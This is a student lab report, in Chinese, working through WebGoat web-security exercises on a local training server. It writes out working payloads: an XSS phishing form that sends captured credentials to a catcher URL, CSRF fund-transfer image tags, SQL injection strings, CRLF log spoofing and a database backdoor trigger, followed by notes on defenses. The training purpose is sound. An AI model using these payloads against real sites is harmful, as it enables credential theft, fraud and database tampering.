20155210 Exp9 Web安全基礎實踐
Exp9 Web安全基礎實踐
實驗過程
開啟webgoat
- 輸入
java -jar webgoat-container-7.1-exec.jar
,來運行webgoat
- 在瀏覽器輸入
localhost:8080/WebGoat
,進入WebGoat開始實驗
- 根據下圖提示進行登錄
XSS攻擊
1.Phishing with XSS (網路釣魚)
- 在搜索框中輸入XSS攻擊代碼,利用XSS可以在已存在的頁面中進一步添加元素的特點。我們先創建一個form,讓受害人在我們創建的form中填寫用戶名和密碼,再添加一段JavaScript代碼,讀取受害人輸入的用戶名和密碼,完整的XSS攻擊代碼如下:
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
- 將上面的代碼輸入到輸入框中,會出現如下登錄框
- 輸入用戶名和密碼,提示攻擊成功
2.Stored XSS Attacks
創建非法的消息內容,可以導致其他用戶訪問時載入非預期的頁面或內容,輸入標題,然後在message中輸入一串代碼,
<script>alert("20155210 has no authority read it");</script>
結果如圖:
3.Reflected XSS Attacks
- 當我們輸入錯誤用戶信息後,服務器校驗輸入有誤,返回錯誤頁面並將錯誤內容展示給我們看:
- 這時如果我們將帶有攻擊性的URL作為輸入源,例如輸入
<script>alert("20155210 has no authority change it");</script>
CSRF攻擊
4.Cross Site Request Forgery(CSRF)
- 寫一個URL誘使其他用戶點擊,從而觸發CSRF攻擊,通過圖片的的形式將URL放進Message框,這時的URL對其他用戶是不可見的,用戶一旦點擊圖片,就會觸發一個CSRF事件。我們輸入
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
如圖:
- 由於我點擊了發布的文件4次,所以右側為4。
5.CSRF Prompt By-Pass
- 內容和前者相似,只不過這次需要確認轉賬,首先編輯內容
<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155210" width="1" height="1">
- 在瀏覽器中輸入URL:
localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155210
- 點擊CONFIRM按鈕,再在瀏覽器中輸入URL:
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
,成功轉走了20155210元
6.CSRF Token By-Pass
本實驗為讀取令牌,並把令牌加到偽造的URL中,主要是讀取目標網頁的令牌,我們在文本框中加入如下代碼:
```
<iframe src="attack?Screen=803158781&menu=900&transferFunds=main"
onload="readFrame1();"
id="frame1" frameborder="1" marginwidth="0"
marginheight="0" width="800" scrolling=yes height="300">
```
如圖:
- 攻擊成功
Injection Flaws
7.Numeric SQL Injection
- 通過註入SQL字符串的方式查看所有的天氣數據,加上一個1=1這種永真式即可達到我們的目的,利用firebug,在任意一個值比如101旁邊加上
or 1=1
:
- 然後選中
Columbia
,點Go
,可以看到所有天氣數據
8.Log Spoofing
- 我們輸入的用戶名會被追加到日誌文件中,所以我們可以使用障眼法來使用戶名為admin的用戶在日誌中顯示“成功登錄”,在User Name文本框中輸入
20155210%0d%0aLogin Succeeded for username: admin
,其中%0d是回車,%0a是換行符
9.String SQL Injection
- 構造SQL註入字符串,在文本框中輸入
‘ or 1=1 --
,點擊GO,可以查看到所以信息:
10.Database Backdoors
- 先輸一個101,得到了該用戶的信息:
可以發現輸入的語句沒有驗證,很容易進行SQL註入,輸入註入語句:
101; update employee set salary=100000
,成功把該用戶的工資漲到了100000
- 接下來創建一個後門,把表中所有的郵箱和用戶ID都設為我的
輸入
101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=‘[email protected]‘ WHERE userid = NEW.userid
基礎問題
SQL註入攻擊原理,如何防禦
SQL註入漏洞是指在Web應用對後臺數據庫查詢語句處理存在的安全漏洞。也就是,在輸入字符串中嵌入SQL指令,在設計程序中忽略對可能構成攻擊的特殊字符串的檢查。後臺數據庫將其認作正常SQL指令後正常執行,可能實現對後臺數據庫進行各種操作,甚至造成破壞後臺數據庫等嚴重後果。
SQL註入一般分為普通註入和盲註。
普通註入:後臺數據庫會回顯有價值的提示信息,通過這些可能的報錯信息可以更容易地進行註入,適合新手入門訓練。
盲註:後臺管理員在給出錯誤頁面時,沒有提供詳細錯誤信息。攻擊者需要運用腳本通過僅有的判斷信息(比如時間差)對表中的每一個字段進行探測,從而實現註入。
- 防禦:對輸入的數據進行過濾,過濾掉敏感字符。不使用動態拼裝sql,可以使用參數化的sql或者直接使用存儲過程進行數據查詢存取。用加密方式或Hash函數來存儲機密信息。
XSS攻擊的原理,如何防禦
攻擊者利用網站漏洞(通常這些漏洞是指網站後臺處理程序沒有很好的對用戶輸入進行過濾),輸入可以顯示在頁面上的、對其他用戶造成影響的HTML代碼;由於受害者瀏覽器對目標服務器的信任,當其訪問目標服務器上被註入惡意腳本的頁面後,這段惡意腳本可以順利執行,實現獲取用戶cookie並可以利用用戶身份進行非法操作的目的。
瀏覽器自身可以識別簡單的XSS攻擊字符串,從而阻止簡單的XSS攻擊;從根本上說,解決辦法是消除網站的XSS漏洞,這就需要網站開發者運用轉義安全字符等手段。
CSRF攻擊原理,如何防禦
CSRF攻擊的主要目的是讓用戶在不知情的情況下攻擊自己已登錄的一個系統,類似於釣魚。如用戶當前已經登錄了郵箱,或bbs,同時用戶又在使用另外一個,已經被你控制的站點,我們姑且叫它釣魚網站。這個網站上面可能因為某個圖片吸引你,你去點擊一下,此時可能就會觸發一個js的點擊事件,構造一個bbs發帖的請求,去往你的bbs發帖,由於當前你的瀏覽器狀態已經是登陸狀態,所以session登陸cookie信息都會跟正常的請求一樣,純天然的利用當前的登陸狀態,讓用戶在不知情的情況下,幫你發帖或幹其他事情
通過 referer、token 或者 驗證碼 來檢測用戶提交。盡量不要在頁面的鏈接中暴露用戶隱私信息。對於用戶修改刪除等操作最好都使用post 操作。
實驗感想
本次實驗,我進行了多種攻擊的練習,讓我對這些攻擊的原理有了進一步的理解。同時也加強了我對sql語言的理解。
20155210 Exp9 Web安全基礎實踐